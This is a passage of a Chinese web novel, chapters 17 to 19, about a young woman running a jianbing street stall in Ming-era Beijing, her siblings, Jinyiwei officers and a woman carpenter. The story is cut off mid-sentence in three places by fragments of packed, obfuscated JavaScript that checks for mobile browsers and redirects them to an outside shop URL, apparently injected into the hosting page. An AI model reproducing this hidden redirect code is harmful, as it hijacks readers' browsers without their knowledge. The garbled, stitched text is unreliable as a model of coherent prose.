煎饼果子是食摊的主推，再隔三差五添些别样小吃，既维持新鲜，又能根据菜园的蔬菜解锁不同搭配，反过来升级菜园。 末了，她还趁机打探了薛三几人的情况。 晏几对姜至喜的印象不错，乐得为她解答：“那几人是军户，公然经商本就不合法，这次更是倒霉撞到了锦衣卫手中，短时间内是出不来了。” 锦衣卫？ 闻言，姜至喜微微诧异，显然不明白怎么和锦衣卫扯到干系。 不过无论如何，自己家总算是能安稳些了。 晏几吃饱喝足，帕子一抹嘴巴，走的时候又往木筐里扔下一粒碎银。 “你这小摊既想添新品，便好好做来，何必送来送去？我晏三岂是贪便宜的人。” 闻言，姜至喜哭笑不得：“那也多了，煎饼果子八文，胡辣汤五文，哪里需要这么多。” 可晏几早已大步走远，只背对着她摆摆手，示意不必再找。 姜至喜也知道有钱人不在乎这点小钱，于是不再纠结，想着大不了等下次晏几再来时，自己不收银钱便是了。 “咳，你这儿可还有吃食？” 这时候，又有一个食客过来。 姜至喜闻声转过头来，尚未开口，目光先注意到对方身上穿着的衣袍。 玄色锦缎，上绣飞鱼纹，于云涛海涯间隐约露出的龙首鱼尾之形，分明是只有锦衣卫才有的飞鱼服。 心头猛地一紧，面上却不动声色，姜至喜仰起笑脸：“有的，这位客官想要用点什么？” 17. 第 17 章 第17章 程磊目光迅速打量了一番车上食材，瞧着没有什么贵重的，逐渐放下心来。 今日他拉着沈秀出门查案，代价是请对方去聚欢楼用膳。 真到了要掏银子的时候，还是觉得肉痛不已。 有些人明明外表一副翩翩佳少年的模样，怎么就那么能吃呢？！ 想起沈秀刚进锦衣卫时，千户大人特意设宴接风，沈秀独自一人吃光了二十盘招牌菜，晚宴席散后，千户大人腰间的荷包肉眼可见地瘪了下去。 而他的荷包只会比千户大人更加干瘪！ 就在程磊几乎要心灰意冷时，突然，一阵诱人的香气随风飘来，寻着方向望过去，原来是街头某个摊子前面排起了长龙。 一向对吃食挑剔的沈秀，脚步几不可察地顿了顿。 程磊是何许人也？ 他熏香只舍得熏鼻子，去面馆不点面只喝饶面汤，月俸三十两银子，能攒下二十九两八钱，是个不折不扣的铁公鸡。 哪怕沈秀只停顿了刹那，他还是敏锐地察觉到了。 于是见缝插针立刻凑上前，试探着道：“看什么呢？哎呀，那小摊前头排了那么长的队，味道定然不差，要不我请你尝尝？” 沈秀收回目光。 冬日寒气呵出口，化作一团四散的白雾，少年拢了拢扣在袖端的衣袖，漫不经心地打了个哈欠。 起得太早容易倦了，譬如此刻，他只想回去睡觉，听了程磊的话，也只懒懒一点头。 程磊却像得了什么天大的便宜，生怕他反悔，转身就扎进人堆里排起了队。 这会儿好不容易轮到他，卖饼的小娘子笑吟吟地推荐了好几种配菜，他咬咬牙，干脆每样都加了进去。 心里暗暗掂量：再怎么说，也比聚欢楼便宜多了！ 不谈姜至喜得知锦衣卫来意，着实悄悄松了口气，拿到五个煎饼果子外加两碗胡辣汤的程磊，也解决了心头大患。 他提着一大兜子吃食回去，献宝似的送到沈秀面前。 “啧，别说兄弟不照顾你，给你买的都是加蛋加肉的顶配！” 说着又啧啧称奇：“这饼子瞧着可真稀奇，叫什么‘煎饼果子’，做法从未见过，闻着味儿也挺特别。” 沈秀也从未见过。 瞌睡清醒了些，因着味觉敏锐，他平日对吃食颇为挑剔，最爱去京城的大酒楼，每月那点俸禄基本全部填进嘴里。 但眼前这煎饼果子，和他往日所见的任何吃食都不同。 虽是街头小食，做法样式却别有一番讲究。 仿若宣纸的煎饼皮，打入鸡蛋，撒上翠绿的葱花和乌黑的芝麻，再在其中卷入不同食材，砧案滚上一周，卷成圆圆的桶状。 刀锋沿着侧面利落切开，露出里面的“馅”，红黄绿交错，端是一副活色生香的市井画卷。 有被爹娘牵着的孩童看到后，馋得直流口水：“娘，我也吃那个！” 那爹娘望了一眼，顿时哎呦一声：“那可是读书人吃的精细东西，肯定不便宜，娘给你买糖吃好不好？” 不说两人气质出众，便是身上布料一看就和他们普通百姓不同。 尤其左边那位，面白如玉，好看的不像凡俗中人，倒像是画里走下来的仙人。 仙人吃的东西，哪能是寻常价钱？ “不要不要！我就要那个！”孩童哪管那么多，身子往后一坐，当街撒起泼来。 而另一边，“仙人”般的读书郎却与同伴径自走到街边，撩起衣袍就在一处石阶上坐下。 外表再怎么俊秀，沈秀也是武官，同锦衣卫的同僚们混久了，更是没有什么讲究，直接在路边品鉴起来。 裹了配菜和酱料的煎饼，味道层次丰富，鲜嫩与咸甜交融，入口之后猛然炸开，不仅不冲突，竟是越嚼越香。 沈秀瞪大了困顿的桃花眼。 京师何时出现了这么一家小食摊？ 来不及多想，已经拿起另外一半。后面吃多了，甚至分出喜好，他最喜欢里面的果篦儿，油炸过后干脆酥香，咬起来咔嚓上头，便是单独拿出来卖他也是愿意买的。 程磊没想到，自己还能分到一个煎饼果子。 受宠若惊之下，珍惜地捧在手中品尝，果不其然，味道比自己想象还要好，更重要的是物美价廉，能给他省下不少钱！ 正这样美滋滋想着，却见沈秀三两下吃完自己手中的煎饼果子，利落起身：“走吧，去聚欢楼。” “？”程磊一时没反应过来，“怎么还要去聚欢楼？” 沈秀挑眉瞥来，一副“这还用问”的神情：“不是你说要请我去聚欢楼的？” 程磊：“……” 他想的是以此代彼，不是一顿之外再添一顿啊！ 忙忙碌碌半个晌午，两盆面糊只剩下一点儿根部，胡辣汤更是全部售空。 姜至喜没有等姜洪过来，她把借来的长木凳送还给汤饼铺，自己收拾东西回家。 姜家的车子是常见的独辕车，外形神似“凸”，中间车轮高高隆起，将车盘自然分为左右两边，《天工开物》称其“一人推之，载量数石，行道便捷。” 实际用起来却是很难保持平衡，好在姜至喜属于天赋流，卖光食材后的车子轻了不少，她尝试了下，几步之后就找到了平衡妙招。 双手一前一后，手臂如弹簧般微曲，借力向前，如此，以她现在的力气，推着满车工具竟也走得稳稳当当。 快到巷口时，撞上从卫所匆匆出来的姜洪。 少年额角带汗，黝黑的脸上透着焦急，见姜至喜自己推车回来吓了一大跳，急忙问道：“怎么不等我过去，难道薛三又去寻衅了？” 姜至喜摇头：“大哥放心，官差们说薛三还在牢中，是我想着卫所里事忙，总不能让你天天来回，便自己尝试了下，感觉推着也不费劲。” 姜洪伸手接过车把，瞥见姜至喜发红的手心，声音闷闷的：“再轻也有十多斤，哪能不费劲？”说完不等她回应，便推着车朝前走去，嘟囔道，“下回我早点出来。” 姜至喜知道姜洪是心疼自己。身为大哥，少年说的话最少，干的话最多，总是把家中重担抗在肩头，像田间埋头苦干的老牛。 所以她何必做扫兴的人？真等到忙不过来的时候，大不了添置一辆马车或牛车，办法总是比困难多。 回到家，第一件事情关紧大门，一家人围坐在一起，进行每日的必备项目——数钱。 连趴在床上吐泡泡的小妹也被抱了过来，手里攥着一串长长的铜钱，美其名曰沾沾喜气。 比昨日还要高的铜钱哗啦啦堆落在炕头，珍姐儿眼尖，从中捡起一块指甲大小的碎银子，惊喜地低呼：“这个得有二两吧！” 姜至喜笑着解释：“是一位衙役给的‘预存金’。” 珍姐儿顿时“哇”地张大嘴巴，连衙役也买二姐的煎饼果子，这一刻在她心目中，姜至喜是顶顶了不起的人。 她忍不住拽住二姐的衣袖，央求再多讲一些，姜至喜见她这般，便挑了几件街市上的趣事讲出来，小姑娘听得津津有味，仿佛自己也亲身经历了似的。 煎饼果子的销量比昨天还要好，再加上新推出的胡辣汤，最后数出来的净利润有三百二十文！ 比第一日多了一半还要多！ 兄妹三人欣喜不已，照旧每人拿二十文，剩下的分成三份，藏进床底的老鼠窝里。 不过往里塞的时候，姜至喜发现洞口似乎有些不够用了。 照这个速度赚下去，恐怕再过不久，这老鼠窝就真要挤得连只老鼠都钻不进去了。 / “滋啦——” 一阵白蒙蒙的水蒸气腾起，霎那间，狭小的厨房云雾缭绕，宛若仙境。 连落在屋檐上的麻雀都 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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如此，清水也变得不再清澈，变戏法似的如墨滴入，味道可比文人的墨香多了。 趁着这个空隙，姜至喜弯腰往灶膛里添了几根木柴。 火势一起，锅中的酱汁渐渐稀释，锅铲拨弄，酱汁微有些挂壁，将煎好的豆腐重新倒入，轻轻推匀，让每一块都均匀裹上酱汁。 到这一步，香味更加浓厚，并逐渐弥散开来，姜至喜的肚子开始不争气地咕噜叫了起来，好在没有旁人，她脸部红心不跳盖上锅盖继续小火焖煮。 又过了半刻钟，锅里的汤汁变得浓稠似酱，见此情形，姜至喜果断从灶膛里抽.出柴火，再往锅里捻入一小撮食盐和葱花。雪白和翠绿的点缀，使得这道菜犹如工艺品，色香味俱全，如此，连苏东坡都念念不忘的东坡豆腐就做好了。 姜至喜先从中盛出一盘子，剩下的放锅里继续闷着，她朝屋子里喊了一声：“你们先吃着，我去林婶家一趟。” 陈氏对他们兄妹照顾良多，现阶段拿不出什么像样的回报，送上些自己做的吃食也算一份心意。 顺便，她想打听一下附近有没有手艺好的木匠。 眼看着小食摊步入正轨，生意越来越好，总不能一直借用别人的凳子。 说来也巧，今日林总旗恰好在家，听闻姜至喜想找木匠做凳子，他当即推荐了个人：“北鼓巷口就有一位王木匠，手艺好，价钱公道，最近正清闲着，你现在去找他，几天就能做好。” 姜至喜又细细问了地址和价钱，随后将带来的豆腐递给陈氏。 陈氏看见盘中金黄酥嫩的豆腐，还以为是煎肉块，连忙推辞。姜至喜抿嘴一笑：“婶子，这是用豆腐做的。” “豆腐？”陈氏面露惊讶。 姜至喜眼中闪着光，语气也带上了几分自豪：“您尝尝，这东坡豆腐做得入味，吃起来未必比肉差！” 18. 第 18 章 第18章 临走时，林总旗想起什么，叫住姜至喜：“近日卫所里查得严，叫洪哥儿安分些，莫要胡乱走动。 姜至喜心念一动，忙问：“林叔，可是出了什么事？” 林总旗叹了口气，面露愧色：“昨日锦衣卫来人，薛总旗因为纵容侄子脱免军籍，私自在坊市贩售豆芽，杖了八十，至于他侄子薛三，还在牢里关着，听说是牵扯进了什么大案子。” 果然。 离开林家，姜至喜独自站在街道上，连日来萦绕心头的迷雾终于消散。 大明发展至今，卫所制度早已颓败，像安定门这边的卫所，常年粮饷亏空、入不敷出，巴不得军户们自己谋生路，对于军户私自摆摊这事并不严查，所以薛三出事另有原因。 想明白这一点，姜至喜心中稍定——起码眼下，她这摊子还能继续摆下去。 至于薛三一个小小的军户为何敢欺负姜家，如今想来，大概有那位薛总旗的授意。 原身的父亲隶属林总旗麾下，而林总旗又与薛总旗素来不和，薛三动不了林总旗，姜家便成了这场争斗中的牺牲品。 思及此，姜至喜不禁蹙起眉头。 林总旗念及与姜父旧情，对他们兄妹多有关照，但也仅限于此。 真遇上大事，他未必愿意帮忙，或者说，未必有能力插手。 最好的出路便是他们搬离南鼓巷。 可搬家谈何容易？如果说半个时辰前姜至喜还在为“填满老鼠洞”感到沾沾自喜，这会儿她就只剩苦笑。 内城租房所费不赀，若想带家人迁往安稳些的坊市，租金定然高昂。 看来，还是得继续奋斗啊。 却说另一边的林家。 陈氏把姜至喜送来的东坡豆腐热了热，端到桌上算添一盘菜。 嘴上不由感叹：“喜姐儿真是变了许多，以前总是躲在洪哥儿后面，同人说话细声细气，如今倒能独当一面了。” 林总旗对姜家几个小辈也算知根知底：“姜家如今没个大人撑着，这几个孩子若再不立起来，只怕更要叫人欺负了去。” “这话倒是真的。”陈氏摇摇头，不再多提，转而看向桌上的吃食，“不过以前还真没有看出来喜姐儿有这手艺，瞧瞧这豆腐，烧得比酒楼里的还讲究。” 还有上次的韭菜盒子，同样是用韭菜做的，喜姐儿做出来的韭菜盒子就格外香。 她吃过之后便念念不忘，又不好上门讨问。这次送来的豆腐卖相看着不错，陈氏内心有些期盼，用饭时向来优先顾着丈夫的她，这次没忍住，先夹了一块吃进嘴里。 下一刻，一股醇香在舌尖荡漾开来，顿时津液肆生。 真好吃啊！ 煎至外皮焦脆的豆腐，没有了豆腥味，反而散发着阵阵的葱香。经过焖煮，已经变成虎皮，酱汁充分填满了每一处缝隙。 咬开微韧的外皮，里面却是嫩如膏脂，豆腐选的北豆腐，所以软嫩不烂，陈氏用嘴一抿，便在舌尖轻轻化开，非普通嫩豆腐那般易散，而是多了一丝绵密。 味道更不用说了，咸鲜醇厚，陈氏甚至尝到了微微的回甘。葱香打底，酱香和豆香完美融合，附着在豆腐的表面，牙齿一碰就会切成几块，里面是恰当好处的咸、鲜，葱油拌过的味道丝丝缕缕渗入其中，咬开之后，汁水四溢。 陈氏毫无防备地被烫了下。 但她不仅没有停下，反而又迫不及待夹了一块。 这次的豆腐块头小些，表面裹满了油脂，陈氏本有些生怵，然而入嘴之后，发现半点儿腻味也没有，葱虽然是调料，可这调料也有大用处，用它炸出来的葱油清润透亮，正正解了猪油的腻。 等到咬开豆腐，那点儿葱香就被压盖住。 豆腐是热腾腾的，冒着白气，表面裹满了厚厚的酱汁，见状，陈氏赶紧“吸溜”一下，把差点儿流淌的汁水全部吞进去。 简单的豆腐，竟真的吃出了肉的感觉，让人满嘴流香。 “喜姐儿说的没错，这什么东坡豆腐，真的比肉还香哩！” 以往林总旗在家吃饭，陈氏总是事事紧着他，今日却像是全然忘了丈夫似的，只顾着自己夹菜。 林总旗有些不满，见妻子吃得津津有味，气得自己也夹了一块。 结果豆腐一入口，香得他差点咬到舌头。 不是，什么时候豆腐也这般好吃了？ 林总旗震惊地盯着盘子，盯的眼睛都酸了，那豆腐还没有现出原型，反而因为陈氏不停手，满满一大盘子东坡豆腐，几乎要见了底！ 林总旗：“……” 他顾不得抱怨，赶紧加入抢饭。 豆腐沾了芝麻，醇厚的焦香丝丝缕缕钻入鼻孔，像秋日晒过谷物的平房。 没有老百姓不爱五谷丰登，林总旗往上数三代，也是地里刨食的农民。他贪婪地深吸一口气，嘴上却毫不客气咬下大口，顿时，细小的颗粒在嘴里沙沙地滚着，紧跟着是稀奇的咸甜味儿。 京师人很少接触咸甜口，林总旗便是第一次吃，但意外发现不错。 豆酱和调料翻炒混合，砂糖融化其中，慢慢熬出浓稠挂壁，两种味道配得恰到好处，谁不抢谁的，反倒把豆腐的豆香衬得绵延。 这般人间美味下肚，林总旗整个人的精神仿佛得到升华，先前那点儿对妻子的气愤也忘记了。 咳，这种时候就不要谈谦让，桌子上只论筷子快慢！ …… 姜至喜到家时，珍姐儿已经把东坡豆腐和烀饼端到桌上，抱着小妹喂米糊糊。 姜洪则给自家挑了四桶水，把厨房的大水缸灌满，又闲不下来，拿着斧头砍柴。 仔细想想，姜至喜做饭的时候从来没有操心过柴火，因为姜洪会把木头劈成不同粗细，用起来格外方便。 她明明让他们先吃，可是谁都没有先吃。 心中蓦地涌起一阵感动，姜至喜不是一个容易心软的人，除了奶奶，她很少会主动亲近谁。 没想到重活一世，反而让她拥有了互相体谅的家人。 “我回来了。” 珍姐儿抬起头，稍微有了点儿肉的瓜子脸上扬起笑脸：“哎呀，二姐回来了，大哥快来吃饭！” “嘿嘿，来勒！” 一盘子东坡豆腐，外加豆面的铁锅烀饼子，厚厚的豆面，“啪叽”扇到油润的铁锅上，待热火熥烤焦黄，表面冒出蜂窝似的气泡，又暄又软，满满的豆子香。 吃时把饼从中间对折，往里面夹几块东坡豆腐，浓郁的酱汁立刻浸透了烀饼子，淡黄的豆面染上了一层焦棕的油亮，一口下去，既有豆香、芝麻香，又有咸甜的酱香。 若觉得不够劲，没关系，桌上还有洗干净的水嫩小葱。 原生未经过处理，足够辛辣呛鼻，保准吃了之后“风味十足”。 至于饭后，姜至喜和珍姐儿总偷偷躲着姜洪走，就暂且按下不提了。 下午时辰不用摆摊，简单休息了会儿，姜洪去卫所继续训练，姜至喜则开始准备明天的备菜。 不过在此之前，她先“进”了一趟随身菜园里。 昨天摘的生菜已经重新长出来，韭菜和小葱也一片鲜绿，鸡窝里不见鸡影，只卧着两颗圆溜溜的鸡蛋，除此之外，并未解锁新的蔬菜。 姜至喜虽然明白菜园越往后越难升级，可亲眼看到后，还是有些失落。 忍不住嘟囔，这次居然要收集这么多食客的喜爱值，若最后给她解锁一个“调味品”，她怕是要闹了。 把鸡窝里的鸡蛋拾起来，又从菜畦中掐了些生菜嫩叶、薅两把小葱，韭菜没有割，家里有黄豆芽吃着，空间里的东西还是少往外拿为好。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17002922|193744||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 从厨房出来，冬日阳光暖洋洋洒在院子里，晒的人昏昏欲睡。 珍姐儿抱着醒来的小妹坐在院子里看天空，院门开着，几个孩子从前面跑过去，叽叽喳喳风似的。 她脚步一转，走到珍姐儿面前询问：“我要出去一趟，要不要一起？” 乍听到这句话，珍姐儿先是一愣，像是没有反应过来，随即又惊又喜：“……可是大哥不在家，我要是走了，小妹怎么办啊？” 姜至喜哪里能看不出小姑娘的期盼？ 珍姐儿是家里的第四个孩子，年纪虽小，却干得一手好家务，不仅需要从早到晚照看最小的小妹，还会帮着收拾家务，打扫院子，再累再苦，从来没有过一句抱怨。 姜至喜直接伸手将小妹接了过来，轻松一笑：“没事，我们可以带小妹一起。” 珍姐儿的确想出去玩，哪怕是跟着姜至喜随便走一走，也觉得开心。 这会儿听到小妹会跟着，瞬间没有了顾虑，转身迅速跑到屋子里，再出来时，姜至喜敏锐发现小姑娘腰间变得鼓鼓的。 看来是拿上了自己的“私房钱”。 她没有多加干涉，率先迈开步子往院外走。 小妹在家时总是一副“天下最大”的架势，哇呜哇唔说个不停，出门后反而怂了，只安安静静趴在姜至喜的肩头，一双黑白分明的大眼睛溜溜转，好奇地观察着四周。 姜至喜往上给她拉了拉棉袄，裹紧缝隙不让风吹进去。 北鼓巷和南鼓巷只隔着一条河，冬日河面结冰，厚厚的一层，拉近了两岸的距离，有顽皮的孩童站在河边扔石头，大人看见后，免不了一阵呵骂。 不过有些大人也会图方面，直接从冰面上踏过。 出巷左拐，再左拐，一座老式石桥便横跨眼前。 姜至喜这人看似大胆，实则惜命得很，不敢赌冰面是否结实，老老实实带着珍姐儿走桥，然后一路打听，找到了那位王木匠的家。 而见到人的那一刻，姜至喜终于明白为何王木匠手艺好、价钱公道，生意却清淡——对方竟是位年事已高的妇人。 老妇人正低头专注地打磨一块木料，有人进来，她连眼皮都未抬一下。 她的脊背已经很弯了，哪怕尽量挺直，仍旧佝偻得犹如一棵历经风雨的老槐树，握着刨刀的手更是被磨得粗糙，指腹厚厚的茧子看不出岁月的颜色。 珍姐儿有些害怕，悄悄朝姜至喜身后缩了缩。 姜至喜拍了拍小姑娘的背，倒是没有离开。在她看来自己需要的是长凳，至于做长凳的是男是女，并不在考虑范围。 她走上前一步，干脆利落说出来意，然后提出自己的诉求：“要六条长凳，三张半米宽的小桌，桌子底部最好能做成活动机关，用的时候展开就是桌腿，不用的时候可以折叠收起来，变成一面木板。” 朝廷虽没有明文规定，但行起商来自有一套规则，摊位大小并非随心所意，而是有所限制。 当初她去宣课司交的课税，实际就包含占用公共空间的“廛钞”。 占用面积越大，需缴纳的课税就越高。 目前她的煎饼果子摊只是一个小摊位，不需要太多的桌椅。 而且她也并不打算扩大面积，至少在“摆摊的时候”不打算，所以五张桌子就足够了。 怕王木匠无法理解，她一边说还一边比划。 一开始，王木匠的确没有搭理她，继续处理手上的木头，后面听到她独树一帜的要求后，才慢悠悠抬起头。 那张年老布满皱纹的严肃脸直面而觑，饶是胆大如姜至喜，也有一瞬间卡壳，下意识放低音量：“那个，如果做不到，可以先做凳子……” 话未说完，便被王木匠不耐打断，老人炯炯有神的眼睛盯着她：“你方才说的那个桌子，可有具体的图样？” 19. 第 19 章 第19章 姜至喜松了口气，看来对方是感兴趣的，这样也好，感兴趣才能接下单子。 她思索了下，折叠桌的构造并不难，主要特点是连杆机构和铰链，用来摆摊不需要多复杂的，简单的“剪刀式”便可。 上辈子姜家老家的院子里便放着一个木质折叠桌，后来雨水淋多了有些不灵活，姜至喜还亲自上手修过。 至于图纸，对于一个设计专业的人来说更不是什么难题，她左右找了一圈，拾起一根枯枝在地上勾划，因着重点是下面的结构，其他部位只寥寥几笔。 饶是如此，一个折叠桌子的形象也跃然“地”上，珍姐儿惊喜地瞪大眼睛，连什么时候从姜至喜身后走出来都没有发现。 王木匠认真看着地上的图，片刻后点点头：“不是很难，比普通桌子多放根杆，桌面和桌腿连着，牵一发动全身。” 末了感叹一句：“你这个想法不错，其他东西也可以用上。” 王木匠的话提醒了姜至喜，她又想到另外一个东西，婴儿学步车。 婴儿学步机几乎家家都有，从一开始的单纯学步，到后面还能变形成推车两种形式，正适合这个年纪的小妹。 可惜对于学步机她并没有机会修理过，只能尽量详细描述功能，王木匠表示自己还需要想想。 一百五十文定金，约定七日后交货，届时再付剩下的钱数。 这是木匠行业的约定俗成，而且王木匠的报价比其他木匠低了五十文，姜至喜很是爽快付钱。 离开时，日头刚过正午，石板桥的积雪融化成水，也不知河里的冰还能坚持多久。 一直跟在身后的珍姐儿一改方才的拘谨，按耐不住，叽叽喳喳和姜至喜讲方才的见闻：“……我离得近，偷偷看到王木匠在一个木盒上刻花，那花可大了，枝子弯弯曲曲的很好看，就是不知道是什么花。” “那是木兰花。” “哇——”珍姐儿惊叹一声，双手不自觉地在自己的布裙上比划着，仿佛眼前已经浮现出那朵木雕的木兰，“原来叫木兰花呀，比绣在帕子上的还好看。” 她嘟嘟囔囔，像是在琢磨什么要紧事，过了好一会儿突然问：“二姐，女孩子也能做木匠吗？” 姜至喜想都没想便回答：“女孩子可以做任何事情。” 在她那个世界，女人的成就完全不输男人。 既能做木工，也能当作家、农民、研究员，读书识字更是成为了所有孩子的义务教育。对她们来说，性别不再是限制，想做什么才是最重要的。 姜至喜留意到珍姐儿说起雕花时眼睛里的兴趣，随口道：“若是你喜欢，等日后取木盒时，咱们再问问王木匠，能不能教你刻个最简单的小花纹。” “可是，我笨手笨脚，万一学不会……” 珍姐儿咬着嘴唇，有些犹豫。她以前就笨手笨脚，娘教姐妹三个刺绣，只有她绣不好，每每都惹得娘叹气，她嘴上说着不在乎，可心里却也觉得自己大抵是笨的。 姜至喜挑了挑眉：“这不是巧了，我也不会摆摊，咱们姐妹两个都不会，做不好是人之常情，要是做成功了，那得多厉害啊。” 正心里不停打退堂鼓的珍姐儿：啊？ 还有这样的说法？ 小小的脑袋充斥着新奇的想法，可仔细琢磨会儿，珍姐儿又觉得二姐说的很有道理！ 她本来就不会雕花，第一次尝试肯定不如王木匠雕得好，与之相比，王木匠却是做了许多年的木匠，见惯了雕的比自己差的人，若是自己乍然雕的比对方好，反倒让人家脸上挂不住。 “没错，就是这个样子！” 姜至喜煞有其事地点点头。 世上像她们这样体贴善良的人，可不多见了。 珍姐儿高兴起来，虽然她总觉得有点儿不对劲，但在姜至喜的洗脑中， 姜家孩子多，珍姐儿作为中间的孩子，既不如长子长女受重视，也没有小妹的宠爱。不同于原身像空气，珍姐儿是享受过一段时间父母的关注的。 只不过这种关注，很快就分给了更小的妹妹，而她只能用日复一日的听话和家务，来换取父母和家人的关注。 姜至喜没有再多说什么。 步子迈开，几下便走出不远的距离，冬日暖黄色的阳光照在肩头，头顶的花布包头巾缠裹出饱满的弧度，乌黑的长发瀑布似的倾落，尽数披散在后背。 珍姐儿抬起头，正好看到这副画面。 她记得这是二姐近来的习惯，说是怕虱子爬到头上，所以用缠布遮挡一下。 其实她想说，哪怕戴着包头巾，虱子也会钻进去。 当然，为了防止二姐吓得跳脚，珍姐儿体贴地没有说出真相。 小妹趴在二姐的肩头，来时精神抖擞的豆豆眼，这会儿在晃悠悠的怀抱中，变成两条细长的缝隙，偶尔还能瞥见半点儿翻白。 珍姐儿忽而嘴角一翘，她快跑了往前赶了几步，伸手牵住了姜至喜垂下的手。 头顶的太阳还在卖力散发着风姿。化开了河面冰霜，化开了墙角积雪，可地上姐妹三人的影子，还是牢牢黏在一起，怎么也分不开。 / 珍姐儿是个勤奋的孩子。 如果是个男孩，说不定会比姜洪更适合入卫所——因为她从不打无准备的仗。 在决定向王木匠学习雕刻花纹后，她就先开始自己在家做准备。 每日等小妹睡着，她不再无聊地蹲在院子里看蚂蚁，也不会趴在院门听外面同龄孩子玩耍的动静，而是从厨房那些柴火里，找了一些废弃的小木块，拿着姜母纳鞋底用的粗针，在上面一笔一划地刻划。 起初总是刻得歪歪扭扭，指尖还被针扎出了小红点，但珍姐儿半点不气馁，反倒越练越起劲。 姜至喜看她玩得开心，便没有干预，自己投身摆摊事业，提前备好材料，等第二日去老地方摆摊。 姜洪照旧帮忙把车子推过去。 中途，兄妹二人绕了条路，先去王二麻子那补充做煎饼果子需要的油炸桧。 因此抵达大角度头时，已经比平日稍微晚了半刻钟。 谁知刚至借口，就望见自家摆摊的位置上黑压压地围了十几个人！ 二人心头一紧，还以为又惹上了什么麻烦。 姜洪把车子停在路边，准备自己过去看看。 不过他还没来得及这样做，旁边豆腐摊的王大就已经看到了他们，当即朝着人群吆喝一声：“来了来了！煎饼果子来了！” 一瞬间，密密麻麻的人朝这边望过来。 姜至喜头皮发麻，这才反应过来这些人都是来买吃食的。 怕他们一窝蜂涌过来，赶紧喊道：“诸位且莫拥挤，请按先后次序排好队伍！队伍先到先得！” …… “这里应该就是陈兄说的小食摊吧？” “没错了，陈兄说做煎饼果子的是一位年轻的小娘子。” “哎，在下都闻到那股味道了，和陈兄带去的汤一模一样！” 因为食客太多，本来打算送完车子就离开的姜洪，也不得不留下来帮忙舀胡辣汤。 姜至喜一边摊着煎饼，一边竖着耳朵偷听。 得知大部分食客是经人介绍过来的，姜至喜不禁在心里深深感谢了那位“陈兄”一番，随后打起精神，积极地给众人介绍吃食。 俗话说得好，食物在精不在多。 她的小食摊目前虽然只卖两样吃食，但都是浓缩的精华。 而来的食客因为闻过陈述带去翰林院的食物，早就被香味俘虏。 亦或者是感到好奇，特意过来凑热闹，在姜至喜介绍完后，不约而同点了一份或两份吃食。 两刻钟后，第一批食客才陆续离开。 姜至喜擦了下额头的汗，尚未来得及喘口气，晏几带着几个衙役又过来了。 见状，她不得不快速冲洗干净双手，又把空掉的面糊盆添满新的面糊，开始了卖早食的第二轮高峰。 今日的翰林院四处飘荡着一股香味。 翰林院学正有些奇怪。 不过他心里正愁着事情，并没有深究。 前些日子，因着《实录》修成，他为了彰显自己的重视和体贴，主动表示请翰林院一众同僚吃饭庆祝。 哪想此事惊动了内阁的徐阁老。 这位两朝元辅老臣，按常例与翰林院并无太多直接交道，不知怎么的，此番朝会结束后突然过来和他攀谈，不得不让学正有所深思。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17006924|193744||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >难道是圣上对《实录》的修纂不满，特意让徐阁老过来敲打？亦或者之前呈上的那批诰敕出现了纰漏？ 越想越是不得其解，至于说他想得太多。 嘿，他要是想的不多，也做不到这个位置！ 学正不由得将近日诸应事务一一梳理，自觉没有差池，心下稍宽，这才有闲心将心思放到那顿膳食上。 以小见大，没道理公事无纰漏，膳食反而出了差错。 原本打算去聚欢楼订一桌酒饭，转而念及圣上力倡节俭之风，聚欢楼一道炙羊肉便索价五两银子，怕是玷污了翰林院的清誉。 如此只能订光禄寺供的廊下食。 想到这里，学正便不住叹气。 不是他挑嘴，实是朝廷的廊下食着实有些难以入口。 太祖当年体恤朝臣辛苦，特意让光禄寺每日备下熟食饭菜，恩准官员们在殿廷廊下用餐。 这本是一项德政。 可光禄寺那帮人虚应故事，只一味因循旧例，发展至今，菜品依旧是洪武年间那几样，且烹饪之法陈旧落后。 更别说这廊下食实则就是大锅饭。 朝廷上下那么多官员，光禄寺哪里会尽心？食材多为市面上的陈米边角肉，为了赶在朝会时供应，往往提前一天准备，待到用膳时早已凉透。这般饭食，只堪充饥，哪里能用来待客？ 正发愁间，那股子香味愈加浓郁。 似煎饼的焦香，有带着些辛辣的霸道，引得他早已饱腹的肚子也钻出了馋虫。 学正招招手，拦下两位正巧经过的同僚。 陈述因为一番“美食带货”，在翰林院变得小有名气，见自己喜爱的吃食得到大家认可，心中颇有几分自得。 如今听到学正也好奇这香味，自然又是一番大力推荐，甚至一回生二回熟，再次把自己手里的煎饼果子递过去。 “要不，您尝一尝？” 学正微怔，下意识就要拒绝。 但余光瞥见那煎饼烙得两面金黄酥脆，一股从未闻过的香味扑面而来，终还是忍不住接过来尝了一口。 味道果然不俗。 他又问价钱，得知不过六七文一个，心中顿时有了计较。 聚欢楼价贵，廊下食难吃，不若换成洁净可口的街边小食，既可趁机改善下翰林院的日常饮食，还能让阁老尝个新鲜。 